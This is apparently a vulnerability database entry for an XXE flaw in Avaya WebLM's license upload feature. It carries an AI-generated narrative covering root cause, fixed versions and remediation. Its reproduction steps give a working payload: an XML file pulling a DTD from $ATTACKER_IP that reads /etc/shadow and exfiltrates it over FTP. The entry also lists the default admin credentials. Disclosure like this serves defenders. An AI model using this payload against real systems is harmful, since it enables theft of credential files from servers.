Avaya WebLM Improper Restriction of XML External Entity Reference
Description
An XML external entity (XXE) vulnerability in Avaya WebLM admin interface allows authenticated users to read arbitrary files or conduct server-side request forgery (SSRF) attacks via a crafted DTD in an XML request. Affected versions of Avaya WebLM include: 7.0 through 7.1.3.6 and 8.0 through 8.1.2.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
3- Range: 8.0.x
Patches
Vulnerability mechanics
Root cause
"Missing validation and restriction of XML external entities in the License upload functionality allows an authenticated attacker to perform blind out-of-band XXE injection."
Attack vector
An attacker must first authenticate to the WebLM admin interface (default credentials are admin:weblmadmin if not hardened) [ref_id=1]. After logging in, the attacker navigates to "Install License" and uploads a crafted XML file that defines an external entity referencing an attacker-controlled DTD file hosted on an HTTP server [ref_id=1]. The DTD file then instructs the server to read a local file (e.g., /etc/shadow) and exfiltrate its contents via an FTP request to the attacker's FTP server, enabling blind out-of-band XXE injection [ref_id=1].
Affected code
The vulnerability resides in the License upload functionality of the Avaya Web License Manager (WebLM) admin interface. An authenticated user can upload a specially crafted XML file within the "Install License" feature, which is processed by the underlying Tomcat webserver without proper XML external entity restrictions.
What the fix does
The advisory does not include a patch diff, but the vendor released fixed versions 7.1.3.7 and 8.1.3 to address this vulnerability [ref_id=1]. The recommended remediation is to disable XML external entity processing in the XML parser used by the License upload functionality, preventing the server from resolving external DTDs and reading local files. SEC Consult recommends installing the vendor patch immediately and performing a thorough security review [ref_id=1].
Preconditions
- authAttacker must have valid credentials for the WebLM admin interface (default credentials admin:weblmadmin if not changed)
- networkAttacker must be able to reach the WebLM web interface over the network
- networkAttacker must host an HTTP server and an FTP server reachable from the target
- inputThe crafted XML file must be uploaded via the 'Install License' functionality
Reproduction
1. Log in to the WebLM interface at $IP/WebLM/ using credentials (default admin:weblmadmin). 2. Navigate to "Install License". 3. Create an XML file containing: `<?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://$ATTACKER_IP/xxe_file.dtd"> %asd; %c; ]> <a>&rrr;</a>`. 4. Create a DTD file containing: `<!ENTITY % d SYSTEM "file:///etc/shadow"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://$ATTACKER_IP:2121/%d;'>">`. 5. Start an HTTP server on port 80 and an FTP server on port 2121. 6. Upload the crafted XML file via the install button [ref_id=1].
Generated on May 26, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4- packetstormsecurity.com/files/160123/Avaya-Web-License-Manager-XML-Injection.htmlmitrex_refsource_MISC
- seclists.org/fulldisclosure/2020/Nov/31mitremailing-listx_refsource_FULLDISC
- downloads.avaya.com/css/P8/documents/101072249mitrex_refsource_CONFIRM
- sec-consult.com/vulnerability-lab/advisory/blind-out-of-band-xml-external-entity-injection-in-avaya-web-license-manager/mitrex_refsource_MISC
News mentions
0No linked articles in our index yet.